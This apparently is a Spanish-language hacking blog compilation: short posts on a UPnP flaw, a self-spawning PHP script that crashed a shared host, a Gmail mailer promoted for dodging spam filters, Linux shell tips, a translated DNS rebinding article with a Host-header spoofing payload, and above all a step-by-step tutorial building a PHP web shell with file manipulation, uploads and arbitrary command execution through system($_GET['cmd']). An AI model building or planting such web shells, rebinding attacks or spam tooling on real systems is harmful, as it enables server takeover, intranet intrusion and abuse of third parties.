Que pasaria si les dijera que pueden controlar una red completa sin ser administradores y sin password?, bien, UPnP es una arquitectura de software que nos permite compartir datos con otras computadoras dentro de una red, el investigador Petko D. Petkov ha encontrado diversas vulnerabilidades en esta arquitectura, dando como resultado el control total de la red.
Google Media Server,un gadget de escritorio que le permite compartir todos sus ordenadores portátiles / de escritorio los contenidos de los medios con todos los demás dispositivos que usted pueda tener a nivel local, como el teléfono, xbox, TV, y sospecho, hasta su nevera. Y todo ello a través de UPnP.
Todo devido a que UPnP no tiene algun mecanismo para la autentificacion con dispositivos.
Enlace: GNUCITIZEN
Entradas relacionadas:
Hoy me ha pasado algo muy curioso y es que tengo mi hospedaje en http://www.webhostingbuzz.com/ y al estar desarrollando un script en php para mi web sucedio que aparentemente 2 lineas de codigo en php tumbaron un servidor Xeon con 8 CPU's y al ser un servidor campartido, todas las webs que lo compartian conmigo se vinieron abajo por una hora y media.
y es que las lineas responsables de esto son:
<?php
system("php index.php &",$return);
echo $return."<br>";
?>
Pero no es nada del otro mundo a menos que el index.php sea el script que comento en esta entrada.
Despues de media hora recibo un correo electronico avisandome que mi cuenta habia sido suspendida y que tenia dos opciones, contrataba un plan empresarial o me transferian a un servidor de altos recursos para gastarmelos. =D
Ya les estara platicando como va el otro servidor con mayor capacidad, a ver si es muy muy. :P
En primera, dejenme decirle que no tenia ni la mas remota idea de que tipo de informacion podrian mantener archivos binarios como los MP3, es decir, informacion como el titulo de la cancion, el album al que pertenecen asi como el numero de track, en principio me base en una clase algo sencilla y que funcionaba bastante bien pero solo con algunos MP3's y llegue a la conclusion de que no todos estaban estructurados o codificados de la misma manera, ya que en algunos extraia la informacion como debia, y en otros simplemente no extraia nada.
<?php
require('id3.class.php');
$myId3 = new ID3("C:\wamp\www\mp3\evoriganywhere.mp3");
$myId3->getInfo();
echo $myId3->getAlbum();
echo "<hr>";
echo $myId3->getTitle();
?>
La clase que realmente me resolvio el problema se llama getID3 y esta bastante bien documentada, con ejemplos practicos del uso de la clase y sobre todo muy facil de leer el codigo fuente.
Un saludo y a codificar MP3's.
Despues de darme una buena pasada por varios sitios de internet buscando algun mailer que me pudiera sirvir para enviar bastante correo y sobre todo con codigo HTML, algo asi como un newsletter, pues me vi frustrado al ver los scripts en PHP no me funcionaban y eso que son los mas utilizados para esta tarea, y sobre todo en correos de Live Mail porque me enviaban al correo no deseado.
Y bueno esta es la respuesta a mi problematica, a traves de un sencillo winform en c# pude realizarlo muy facilmente con una clase bastante sencilla, y sobre todo utilizando el servidor de Gmail para saltarme los filtros de Live Mail y no caer en correo no deseado.
Aca muestro el codigo de la clase.
using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Net;
/// <summary>
/// Descripción breve de ClsCorreo
/// </summary>
public class ClsCorreo
{
public string EnviarCorreo(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress("mail@forward.com", "Title", System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;
System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();
client.Credentials = new System.Net.NetworkCredential("mail@gmail.com", "myPasSSofGmail");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
}
return "";
}
}Puedes encontrar el proyecto en Visual Studio ya compilado aca:
http://galeon.com/setting/mailer.rar
Ejecutar varios comandos en la misma linea
root@h3ll :~ # mkdir pwneds ; cd pwnedsEl operador de sintaxis ";" especifica que cada comando se ejecutara de manera independiente
root@h3ll :pwneds #
Creacion de imagenes ISO en bash
o
root@h3ll:~ #cat /dev/cdrom > ~/cdrom.iso
root@h3ll:~ #ls -lah cdrom.iso
-rw-r--r-- 1 root root 601.2M Nov 2 09:09 cdrom.iso
root@h3ll:~ #dd if=/dev/cdrom of=/tmp/my.isoDesplazarse en terminales virtuales
ctrl+alt+f1 ->tty1Para regresar a la GUI es necesario teclear ctrl+alt+f7
ctrl+alt+f2 ->tty2
ctrl+alt+f3 ->tty3
ctrl+alt+f4 ->tty4
ctrl+alt+f5 ->tty5
ctrl+alt+f6 ->tty6
Busqueda en la shell
root@h3ll:~ #find / -name "archivo.tex"Existe otro comando que puede ser utilizado para el mismo fin.
/home/travel/archivo.tex
find: Filesystem loop detected; `/mnt/hda1' has the same device number and inode as a directory which is 2 levels higher in the filesystem hierarchy.
root@h3ll :~ # locate archivo.texBackground y Foreground
locate: warning: database /var/lib/slocate/slocate.db' is more than 8 days old
/home/travel/archivo.tex
Para enviar un proceso a segundo plano, puede hacerlo presionando ctrl+z durante la ejecucion del proceso o al iniciar la ejecucion especificar con el operador & que se desea envia a segundo plano.
root@h3ll :Desktop # dir / &Encuanto el proceso termina de ejecutarte la terminal nos lo hace saber. En caso de que queramos estar monitoreando el proceso en segundo plano, podemos utilizar el comando bg, y para traerlo nuevamente a primer plano utilizaremos el comando fg.
[1] 32247
root@h3ll :Desktop # bin/ etc/ lost+found/ pentest/ root.lzm tmp/
boot/ home/ mnt/ proc/ sbin/ usr/
dev/ lib/ opt/ root/ sys/ var/
[1]+ Done /bin/ls $LS_OPTIONS --format=vertical /
Pipes y expresiones regulares
root@h3ll :Desktop # locate archivo.tex &
[1] 748
root@h3ll :Desktop #bg
[1]+ Done locate archivo.tex
root@h3ll :Desktop #fg %1
Para instancias , usando RegEx con sed para remover DOS CR/LF's:
root@h3ll:~ #cat dostextfile.txt | sed 's/.$//' > unixtextfile.txtAbrir un programa GUI a traves de linea de comandos
root@h3ll:~ #firefox &o
Leer directorios con espacios intermedios en sus nombres
root@h3ll:~ #whereis firefox
firefox: /usr/bin/firefox /etc/firefox /usr/lib/firefox /usr/bin/X11/firefox /usr/share/firefox /usr/share/man/man1/firefox.1.gz
root@h3ll:~ #cd /usr/bin ; ./firefox
`set IFS=$'\N'`De igual forma se upuede utilizar la tecla de tabulacion o especificar en el nombre el caracter '\' en la palabra donde se encuentre el espacio.
Procesos en la interfaz de red
Visor de sucesos en la interfaz de red, actualizable cada 2 segundos
Se crea el alias
root@h3ll:~ #alias net1='watch --interval=2 "sudo netstat -apn -l -A inet"'
Para utilizarlo
root@h3l:~ #watch --interval=2 "sudo netstat -apn -l -A inet"
Bien, pues son todos por ahora, despues se iran agregando mas, si alguien conoce alguno que lo diga con gusto lo incluyo =)
Ronald Koh y otros tipos me han pedido recientemente hacer un relato sobre DNS Pinning aka, principalmente para evitar las politicas que lo originan con el Anti DNS Pinning. Esto no es nada realmente nuevo y algunas explicaciones de esta tecnica estan escrita ya, yo pienso que es una buena idea hablar sobre esto de nuevo, principalmente por dos razones.
Primeramente, este tema es sabido que mantiene un alto grado de complexidad y solamente un muy limitado numero de individuos actualmente comprenden de que se trata. Por lo tanto atraer la atencion de la gente hacia el no seria seguramente inorportuno.
Segundo, esto no es una solucion de prueba para proteger otra vez esto y mas la gente que comprende esto sabe de que se trata, lo grabe son los cambios que podrian darse iyendo a una solucion en algun futuro. Cuatro ojos probablemente ven mejor que dos, comienzo.
La misma politica de origen en un acceso registringido implementado en los navegadores mas modernos para prevenir la carga de un script de un origen para accesar a documentos de un origen diferente en alguna busqueda. Por lo tanto, esto no es posible fijar o no tomar informacion de un origen foraneo. Sin embargo, desde hace tiempo esta medida de seguridad en primer lugar ha sido inicializada creo que por Netscape, los investigadores de seguridad tienen una significante espectacion para encontrar maneras de puentear esta restriccion. Uno de los resultados finalmente son Anti DNS Pinning y despues en Anti-Anti-Anti DNS Pinning, ambos explotando algunos otros mecanismos de seguridad de los navegadores modernos, llamado DNS Pinning.
Ahora puede sonar razonable empezar explicando que es el DNS Pinning actualmente, afortunadamente este fuera de turno es bonito y facil con un bit de la informacion no mostrada en el Sistema de Nombres de Dominios(DNS por sus siglas en ingles). Donde algunas peticiones a un website llamado como www.example.com, el navegador necesita resolver un DNS Lookup en ese dominio para tomar la direccion numerica asociada (IP) de el server de ese host la pregunta al website. EN el siguiente paso, el navegador envia una consulta a esa IP eso ultimo contiene el dominio, una pagina web especifica y otras variables para ser ultimamente retiradas de los datos de peticion.
Deja asumir las operaciones de busqueda del DNS en www.example.com proporciono la IP 111.111.111.111. Una peticion HTTP normal es enviada por el navegador a www.example.com puede parecer esto:
GET / HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U;
Windows NT 5.1; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept:
*/*
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding:
gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive:
300
Connection: keep-alive
Cookie: secret authentication token 12345
Aqui es donde el DNS Pinning entrar en el juego. Como unatentativa de la proteccion otra vez Anti DNS Pinning, la cache del navegador tiene el par de hostname-a-ip hasta que la ventana del navegador se cierra, sin importar de que el actual DNS Time To Live (TTL) es puesto. Tengo visualizado un escenario donde esa proteccion de DNS Pinning otra vez falle below. En este ejemplo un atacante corre www.attacker.com apuntando a la direccion IP 222.222.222.222.
Por otra parte el tiene total acceso a la entrada del servidor DNS, que es puesto a TTL (DNS Timeout) de 1 segundo. Donde viendo ese sitio web en un navegador, Javascripts malicioso puede ser ejecutado por la peticion del navegador para conectarlo detras en 2 segundos y entonces responder con los datos devueltos a otro servidor diverso con el control del atacante.
1) El navegador del usuario se conecta con www.attacker.com y realiza sus operaciones de busqueda del DNS para esa URL que recibe 222.222.222.222 con un TTL de 1 segundo.
2) El javascripts dice al navegador que se conecte de nuevo a www.attacker.com despues de dos segundos, poco despues de que el TTL expiro.
3) Puesto que el DNS no es un valido mas largo, el navegador del usuario se conecta con el servidor del DNS para preguntar donde www.attacker.com esta localizado.
4) El servidor DNS responde con 111.111.111.111, que apunta a www.example.com
5) El navegador del usuario se conecta con 111.111.111.111 que envia una cabezera como:
GET / HTTP/1.1
Host: www.attacker.com
User-Agent: Mozilla/5.0 (Windows; U;
Windows NT 5.1; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept:
*/*
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding:
gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive:
300
Connection: keep-alive
Ahora lo importante es notar que aqui el host se ha cambiado a www.attacker.com en de www.example.com y ademas de falta la cookie. Debido al hostname-a-ip ubicado en la cache del navegador, el DNS Pinning es prevenido en las segundas operaciones de busqueda de www.attacker.com que es porque este ataque fue condenado por fallar desde el principio.
Anti DNS Pinning
Segun lo he mencionado anteriormente, Anti DNS Pinning es contra lo que significaba el DNS Pinning para proteger - forzando al navegador a solicitar una entrada manipulada del DNS e.g. haciendolo creer otra vez que expiro su cache.
Bien, el 14 de Agosto del 2006, Martin Johns descubrio un concepto de como esto puede ser hecho. El esencialmente descubrio que el DNS Pinning solamente trabaja a condicion de que el servidor web este realmente en linea y disponible. En la mano esto tiene sentido porque si el servidor parece estar caido, las nuevas operaciones de busqueda del DNS son necesarias para descubrir si ha cambiado o se han movido de cierta manera. Sin embargo por otra parte un atacante puede cerrar su servidor siempre que lo desee y de ese modo evita el DNS Pinning del DNS del navegadores del usuario. Una vez mas visualizo este ataque:
1) El navegador de los usuarios se conectar con www.attacker.com y realiza sus operaciones de busqueda de DNS para la URL que recibe 222.222.222.222 con un TTL de 1 segundo.
2) El javascripts le dice al navegador que se conecte de nuevo a www.attacker.com despues de dos segundos, poco despues el TTL expira. Despues de que el servidor ha dicho al firewall sobre si mismo.
3) El DNS Pinning ahora ha caido Anti DNS Pinning. Puesto que el DNS no es un numero valido muy largo, el navegador del usuario se conectar con el servidor DNS para preguntar por www.attacker.com donde esta localizado.
4) El servidor DNS responde con 111.111.111.111, apuntando a www.example.com
5) El navegador del usuario se conecta a 111.111.111.111 que envia una cabecera como:
GET / HTTP/1.1
Host: www.attacker.com
User-Agent: Mozilla/5.0 (Windows; U;
Windows NT 5.1; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept:
*/*
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding:
gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive:
300
Connection: keep-alive
Puesto que ahora la IP ha cambiado, el XMLHttpRequest atacante esta leyendo un web site diferente (www.example.com), aun cuando el navegador cree que sigue siendo el mismo. Ahora puedes entender porque inicie este articulo explicando cual es la politica de origen. Podemos romperla usando Anti DNS Pinning.
De todas formas, vamos a resaltar algunas cosas. En primer lugar, el host se cambia a www.attacker.com en vez de www.example.com, mas alli es mejor porque el dato de la cookie no es enviado en la cabecera. Tomar esto en consideracion, pueden preguntarse que haria una persona cualquiera con Anti DNS Pinning en vez de solicitar www.example.com.
Bien, de hecho Anti DNS Pinning del DNS, el atacante no esta haciendo nada bueno a menos que estemos hablando de una intranet o de otra manera los websites serian restringidos por IP, por lo cual el atacante no se podria conectar porque el sitio no es accesible al publico. Aqui es donde Anti DNS Pinning llegar a ser realmente peligroso. En vez de apuntar a www.example.com, podriamos lanzar posiblemente un ataque contra intranet.example.com, que es considerado realmente ser seguro puesto que recide detras de un firewall.
No solo podemos leer los datos contenidos en esas paginas protegidas si no tambien utilizar la informacion para lanzar ataques Cross Site Request Forgery contra usos del intranet.
Kanatako proporciono un buen ejemplo de como trabaja esto en su website. Yo recomiendo checar esto.
http://www.jumperz.net/index.php?i=2&a=1&b=7
Adicionalmente el describe en sla.ckers.org como trabaja su script detalladamente. Si lo lees cuidadosamente, veras que es exactamente lo que acabas de aprender mientras estabas leyendo.
Anti Anti DNS Pinning
El nombre indica sobre de que trata esta tecnica. Alguna gente que se inicia piensa de como Anti DNS Pinning se podria prevenir y terminar con la comprobacion si la cebecera del host es correcta. Recordar que esta se ha cambiado a www.attacker.com y asi que indica un ataque.
Ciertamente no se porque siempre es www.attacker.com pero simplemente porque la cabecera del host diferencia de de el que ha sido permitido por el administrador del servidor.
Anti Anti Anti DNS Pinning
Desafortunadamente esta cabecera puede ser spoofeada facilmente en mas de una forma de modo que la tecnica previamente descrita no resulte ser muy eficaz. Amit Klein publico un post en Bugtraq donde demostro como spoofear el host en MSIE usando XMLHttpRequest o en flash.
<script>
var x = new
ActiveXObject("Microsoft.XMLHTTP");
x.open(
"GET\thttp://attacker.com/\tHTTP/1.0\r\nHost:\twww.example.com
\r\n\r\n,
"http://www.attacker.com/",
false
);
x.send();
alert(x.responseText);
</script>
Espero que este articulo pueda ayudarte a conseguir una comprension del DNS Pinning y sus mutaciones. Sin embargo si tu piensas que esto es una construccion teorica, estas muy equivocado. Chequar RSnakes stories, especialmente Death By 1000 Cutts.
Good luck!!
Autor: christ1an
Una phpshell es un administrador de archivos mediante una interfaz web, utilizando una shell de este tipo es posible tener un acceso y control total del servidor donde esta se interprete, es posible programar shells de este tipo en diferentes lenguajes del lado del servidor, en este post veremos como programar una shell en php, y proximamente una shell en jsp, para empezar tengo que decir que el lector debe de tener ligeras nociones del lenguaje PHP.
Un administrador de archivos como lo es una phpshell es posible listar directorios, modificar archivos y crearlos sin problemas, pero este tipo de administradores no ejecutan comandos tal como la hacen programas como cmd y /bin/bash, si no, utilizando caracteristicas del lenguaje PHP es posible emular estos comandos.
Para listar directorios en PHP se utiliza una funcion llamada opendir() que recibe por parametro el directorio que se desea abrir temporalmente para su lectura con otra funcion llamada readdir().
<?php
$dir=opendir('.');
while($archivo=readdir($dir)){
echo "$archivo<br>";
}
?>
Una vez que hemos listado el directorio actual de trabajo, podemos realizar ciertas acciones sobre los archivos existentes en ese directorio. Una de estas acciones es provocar la edicion de algun archivo que se pase por parametro, obviamente este archivo de tener codificacion ascii y se encuentre en texto plano, ya que no podremos editar archivos que se encuentren codificados o sean archivos especiales para algun programa externo al lenguaje PHP.
Para realizar estas acciones debemos de hacernos de un codigo mas rebuscado y un poco mas general, con opciones que utilizaremos a lo largo de nuestra shell.
En este ejemplo vemos como podemos visualizar cualquier tipo de archivo en texto plano con nuestro navegador web:
<?php
switch($_GET["op"]){
case 'view':{
$fc = @file( $_GET["file"] ); while ( @list( $ln, $line ) = each( $fc ) ) {
echo parse(@htmlentities($line))."<br>\n";
}
break;
}
default:{
$dir=opendir('.');
while($archivo=readdir($dir)){
echo '<a href='.$_SERVER["PHP_SELF"].'?op=view&file='.$archivo.'>'.$archivo.'</a><br>';
}
}
}
function parse($instruccion) { return str_replace(" ", " ", $instruccion); }
?>
Esta nueva opcion de visualizacion recibira un archivo por parametro para posteriormente leerlo linea a linea y convertir su contenido a HTML, para que pueda ser visualizado por el navegador.
Ahora proseguiremos a programar la opcion de editar archivos, esta nueva opcion no dista mucho de la opcion de visualizacion, pero para ello deberemos utilizar etiquetas de formularios en HTML para por llevar acabo la edicion.
case 'edit':{
$contents = "";
$fc = @file( $_GET["file"] );
while ( @list( $ln, $line ) = each( $fc ) ) {
$contents .= htmlentities( $line ) ;
}
echo "<br><center><table><tr><td NOWRAP>";
echo "<form action=\"".$_SERVER['SCRIPT_NAME']."\" method=\"GET\">\n";
echo "<input type=\"hidden\" name=\"op\" value=\"guardar\">\n";
echo "<strong>ARCHIVO A EDITAR: </strong>".$_GET["file"]."<br>\n";
echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea><br>\n";
echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"".$_GET["file"]."\">\n";
echo "<input type=\"submit\" value=\"Guardar\">";
echo "</form>";
echo "</td></tr></table></center>";
break;
}
case 'guardar':{
$fo = fopen($_GET["file"], "w");
$wrret = fwrite($fo, stripslashes($_GET["contents"]));
$clret = fclose($fo);
break;
}
Agregamos dos nuevos case's para poder llevar acabo la edicion del archivo, en el primer case realizamos un formulario que contiene los datos actuales que contiene el archivo, desde ahi podemos realizar la edicion de archivos, al guardar los cambios en el formulario se utiliza el segundo case llamado guardar que recibe el nombre del archivo y su contenido mediante un array del metodo GET del formulario, con este array abrimos el archivo en modo de escritura y guardarlo con los cambios realizados.
Para administrar de manera satisfactoria todas las opciones que un administrador de archivos debe tener, por ejemplo, crear archivos, eliminarlos, descargarlos, subir nuevos archivos, renombrarlos y ejecutarlos en caso de que sean archivos binarios, para entonces vamos a crear los case's para poder realizar estas opciones.
<?php
if($_POST["upload"]=='upload'){
if (isset($_FILES['archivo']['tmp_name'])) {
echo 'Tipo de archivo: <b>'.$_FILES['archivo']['type'].'</b><BR>';
copy($_FILES['archivo']['tmp_name'], './'.$_FILES['archivo']['name']);
$subio = true;
}
if($subio=true){echo'El archivo subio satisfactoriamente';}else{echo 'No SUBIO';}
}
switch($_GET["op"]){
case 'new':{
if(empty($_GET["form"])){
echo '
<h4>Introducir el nombre del archivo</h4>
<form action="'.$_SERVER["PHP_SELF"].'" method="GET">
<input type="hidden" name="op" value=new>
<input type="hidden" name="form" value="1">
<input type="text" name="file" value="archivo.txt">
<input type="submit" value="Crear archivo">
</form>
';
}else{
$file = fopen($_GET["file"], "w+");
if ($file == false)
echo "No se puede crear el archivo<br>";
else
echo 'Archivo creado satisfactoreamente: "'.$_GET["file"].'"<br>';
}
break;
}
case 'del':{
if ($_GET["auth"] == "yes") {
if (@unlink($_GET["file"])==false) {
echo "No se puede remover el archivo \"".$_GET["file"]."\"<br>";
}
else {
echo "Removido satisfactoriamente \"".$_GET["file"]."\"<br>";
}
}
else {
echo "Estas seguro que deseas eliminar el archivo \"".$_GET["file"]."\" ?
<form action=\"".$_SERVER["PHP_SELF"]."\" method=\"GET\">
<input type=\"hidden\" name=\"op\" value=\"del\">
<input type=\"hidden\" name=\"file\" value=\"".$_GET["file"]."\">
<input type=\"hidden\" name=\"auth\" value=\"yes\">
<input type=\"submit\" value=\"Yes\"></form>
<form action=\"".$_SERVER["PHP_SELF"]."\" method=\"GET\">
<input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>";
}
break;
}
case 'rename':{
if(!empty($_GET["form"])){
$return = @rename($_GET["file"], $_GET["newname"]);
if ($return) {
echo 'Renombrado:<br><br>de '.$_GET["file"].' a '.$_GET["newname"];
}
}else{
echo '
<h4>Archivo a renombrar: '.$_GET["file"].'</h4>
<form action="'.$_SERVER["PHP_SELF"].'" method="get">
<input type="hidden" name="op" value=rename>
<input type="hidden" name="form" value="true">
<input type="hidden" name="file" value="'.$_GET["file"].'">
<input type="text" name="newname">
<input type="submit" value="Renombrar">
</form>
';
}
break;
}
case 'exec':{
echo system('$_GET["file"]');
break;
}
case 'upload':{
echo '
<h4>Introducir el archivo a subir</h4>
<form action="'.$_SERVER["PHP_SELF"].'" method="POST" enctype="multipart/form-data">
<input type="hidden" name="upload" value=upload>
<input type="file" name="archivo" id="archivo">
<input type="submit" value="Subir archivo">
</form>
';
break;
}
case 'download':{
$downloadfile = urldecode($_GET["file"]);
if (function_exists("basename")){
$downloadto = basename ($downloadfile);
}else{
$downloadto = "download.ext";
}
if (!file_exists("$downloadfile")){
echo "El archivo no existe";
}else {
$size = @filesize("$downloadfile");
if ($size != false) {
$add="; size=$size";
}
else {
$add="";
}
header("Content-Type: application/download");
header("Content-Disposition: attachment; filename=$downloadto$add");
$fp=fopen("$downloadfile" ,"rb");
fpassthru($fp);
flush();
}
break;
}
case 'edit':{
$contents = "";
$fc = @file( $_GET["file"] );
while ( @list( $ln, $line ) = each( $fc ) ) {
$contents .= htmlentities( $line ) ;
}
echo "<br><center><table><tr><td NOWRAP>";
echo "<form action=\"".$_SERVER['SCRIPT_NAME']."\" method=\"GET\">\n";
echo "<input type=\"hidden\" name=\"op\" value=\"guardar\">\n";
echo "<strong>ARCHIVO A EDITAR: </strong>".$_GET["file"]."<br>\n";
echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea><br>\n";
echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"".$_GET["file"]."\">\n";
echo "<input type=\"submit\" value=\"Guardar\">";
echo "</form>";
echo "</td></tr></table></center>";
break;
}
case 'guardar':{
$fo = fopen($_GET["file"], "w");
$wrret = fwrite($fo, stripslashes($_GET["contents"]));
$clret = fclose($fo);
if($wrret){echo '<h3>El archivo se edito satisfactoriamente</h3>';}
break;
}
case 'view':{
$fc = @file( $_GET["file"] ); while ( @list( $ln, $line ) = each( $fc ) ) {
echo parse(@htmlentities($line))."<br>\n";
}
break;
}
default:{
$dir=opendir('.');
while($archivo=readdir($dir)){
echo '<a href='.$_SERVER["PHP_SELF"].'?op=view&file='.$archivo.'>'.$archivo.'</a>
<A href='.$_SERVER["PHP_SELF"].'?op=edit&file='.$archivo.'>[editar]</a>
<A href='.$_SERVER["PHP_SELF"].'?op=rename&file='.$archivo.'>[renombrar]</a>
<A href='.$_SERVER["PHP_SELF"].'?op=del&file='.$archivo.'>[eliminar]</a>
<A href='.$_SERVER["PHP_SELF"].'?op=download&file='.$archivo.'>[descargar]</a>
';
if ( @is_executable("$archivo") ){echo '<a href="'.$_SERVER["PHP_SELF"].'?op=exec&file='.$archivo.'">[ejecutar]</a>';}
echo '<br>';
}
}
}
function parse($instruccion) { return str_replace(" ", " ", $instruccion); }
?>
Modificamos un poco el flujo del programa para poder utilizar el array $_POST y poder realizar la subida del archivo con la funcion copy() y la matriz $_FILES, las otras opciones no tienen mucha complicacion ya que para eliminar se utiliza la funcion unlink(), para renombrar la funcion rename(), para ejecutar archivos la funcion system(), quizas donde haya un poco de duda seria en la opcion de descarga, como bien se sabe los archivos compilados o codificados en binario no pueden ser visualizados por el navegador lo cual provoca su descarga inmediata, pero los archivos que tienen texto plano o pueden ser leidos por el navegador los interpreta y no permite su descarga, para poder descargar archivos como php, html, pl, imagenes, es necesario modificar las cabezeras de peticion al navegador y de esta forma es posible descargar ese tipo de archivos, para realizar esto se utiliza la funcion header() y en los parametros los datos del archivos a descargar.
Bien, despues de haber estado jugando con archivos, ahora nos preguntamos y los directorios?, pues bien empezaremos a manejar directorios, cambiar el directorio actual, renombrarlos y crearlos, todas las opciones que se puedan usar en directorios.
Hay que recordar que tenemos que tener en mente en todo momento el directorio en donde estamos situados por si quisieramos crear un archivo ahi o renombrarlo o alguna otra caracteristica mas, ya que si no lo tomamos en cuenta todos los cambios que realicemos se efectuaran en el directorio donde se encuentre nuestro script en php.
case 'rendir':{
if(!empty($_GET["form"])){
$return = @rename($_GET["dir"], $_GET["newname"]);
if ($return) {
echo 'Renombrado:<br><br>de '.$_GET["dir"].' a '.$_GET["newname"];
}
}else{
echo '
<h4>Directorio a renombrar: '.$_GET["dir"].'</h4>
<form action="'.$_SERVER["PHP_SELF"].'" method="get">
<input type="hidden" name="op" value=rename>
<input type="hidden" name="form" value="true">
<input type="hidden" name="file" value="'.$_GET["dir"].'">
<input type="text" name="newname">
<input type="submit" value="Renombrar">
</form>
';
}
break;
}
case 'deldir':{
if (is_dir($_GET["dir"])) {
$Fh=@opendir($_GET["dir"]);
while ($Fbuf = readdir($Fh))
if (($Fbuf != ".") && ($Fbuf != "..")) @closedir($Fh);
if(rmdir($_GET["dir"])) echo 'Directorio removido satisfactoriamente';
}else {
unlink($_GET["dir"]);
}
break;
}
default:{
if(isset($_GET["dir"])){
$pwd.=$_GET["dir"].'/';
$dir=opendir($_GET["dir"]);
}else{
$dir=opendir('.');
}
while($archivo=readdir($dir)){
$path='./'.$pwd.$archivo;
if (is_dir("$path")) {
echo '<a href="'.$_SERVER["PHP_SELF"].'?dir='.$path.'">'.$archivo.'</a>';
if ( ($archivo != ".") && ($archivo != "..") ){
echo '<a href="'.$_SERVER["PHP_SELF"].'?op=rendir&dir='.$path.'">[renombrar]</a>';
echo '<a href="'.$_SERVER["PHP_SELF"].'?op=deldir&dir='.$path.'">[eliminar]</a>';
}
echo '<br>';
}else{
echo '<a href='.$_SERVER["PHP_SELF"].'?op=view&file='.$pwd.$archivo.'>'.$archivo.'</a>
<A href='.$_SERVER["PHP_SELF"].'?op=edit&file='.$pwd.$archivo.'>[editar]</a>
<A href='.$_SERVER["PHP_SELF"].'?op=rename&file='.$pwd.$archivo.'>[renombrar]</a>
<A href='.$_SERVER["PHP_SELF"].'?op=del&file='.$pwd.$archivo.'>[eliminar]</a>
<A href='.$_SERVER["PHP_SELF"].'?op=download&file='.$pwd.$archivo.'>[descargar]</a>
';
if ( @is_executable("$archivo") ){echo '<a href="'.$_SERVER["PHP_SELF"].'?op=exec&file='.$archivo.'">[ejecutar]</a>';}
echo '<br>';
}
}
}
He agregado dos nuevos case's para que sean las opciones de los directorios y mediante la funcion is_dir() podemos realizar acciones distantas que las mismas para los archivos de esta forma separamos los conceptos y los manipulamos de formas distintas, la opcion de renombrar es practicamente la misma que con archivos, pero hay que recordar que eliminar directorios (rmdir()) esto implica que el directorio debe de estar vacio y que debe pertenecer al usuario mediante el cual se esta ejecutando nuestra shell de lo contrario nos mostrara un Permission denied y eso no nos gustara nada.
Probablemente nuestra shell no tenga un aspecto muy atractivo y poco amigable a la vista, eso lo vamos a corregir con un poco de CSS y unas cuantas tablas, vamos a ver... :P
<style type=text/css>
BODY { font-family: Verdana, Tahoma, Arial, sans-serif;font-size: 12px;
margin: 0px;padding: 0px;color: #fff;background-color: #242629;}
TABLE{
width: 700px;
}
TR, TD { font-family: Verdana, Tahoma, Arial, sans-serif;font-size: 12px;color: #e7e7eb;}
#fila:hover{
background-color: #808080;
}
a{
color: #fff;
}
input,textarea,select
{background: #44474f;
border: 1px solid #242629;
color: #e7e7eb;
font-family: verdana, helvetica, sans-serif;
font-size: 11px;
margin: 5px;
padding: 2px;
vertical-align: middle;}
</style>
Tras unos cambios aqui y por alla, he logrado un resultado mas que respetable, pero ahora nos faltan dos cosas para que nuestra phpshell sea utilizable, la primera que es debe de disponer de una consola por interfaz web y la segunda es que debe tener un sistema de autentificacion porque no queremos que cualquiera utilice nuestra shell, bien, entonces empecemos a trabajar con la consola.
En php existe una funcion llamada system() que es utilizada para enviar peticiones al sistema, como bien ya lo dije arriva cuando se ejecuta un archivo, ahora con un poco de ayuda de un formulario podremos introducir comandos al sistema sin ningun problema.
Realizamos un nuevo case para la consola:
case 'console':{
echo '
<form action="'.$_SERVER["PHP_SELF"].'" method=GET>
CMD:/><input type=hidden name=op value=console>
<input type=text name=cmd size=51>
<textarea cols=100 rows=20>';
if(isset($_GET[cmd])){
echo system($_GET[cmd]);
}else{
echo 'RUlezz';
}
echo '</textarea>
</form>
';
break;
}
Y atravez de este podremos introducir los comandos al sistema anfitrion, ahora veremos la autentificacion, existen diferentes formas de autentificacion, ninguna de ellas es completamente segura, lo mejor seria cifrar todo y que nadie lo vea, pero no vamos a llegar a tal extremo, pero para este caso las cookies no nos pueden ayudar mucho, aparte de que nunca me han agradado.
Utilizaremos variables de sesion, ya que a mi consideracion es un sistema de autentificacion un poco mas seguro y mas facil de manejar que las cookies.
session_start();
$username='a14129b2ecefc99b2df6677938fdfb45'; //pwneds
$password='a14129b2ecefc99b2df6677938fdfb45'; //pwneds
if(isset($_POST["autentificacion"])){
$user=md5($_POST["user"]);
$pass=md5($_POST["pass"]);
if($user===$username && $pass===$password){
$_SESSION["auth"]=true;
}
}
if($_GET["auth"]=='logout'){
session_unset();
session_destroy();
}
if($_SESSION["auth"]==true){
[CODIGO COMPLETO]
}else{
echo
'
<p>
</p>
<center>
<h2>PHPSHELL LOGIN</h2><b>
<form action="'.$_SERVER["PHP_SELF"].'" METHOD="POST">
<INPUT TYPE=hidden name=autentificacion value=true>
User:<input type=text name=user><br><br>
Pass<input type=password name=pass><br>
<input type=submit value=Auth></B>
</FORM>
</center>
';
}
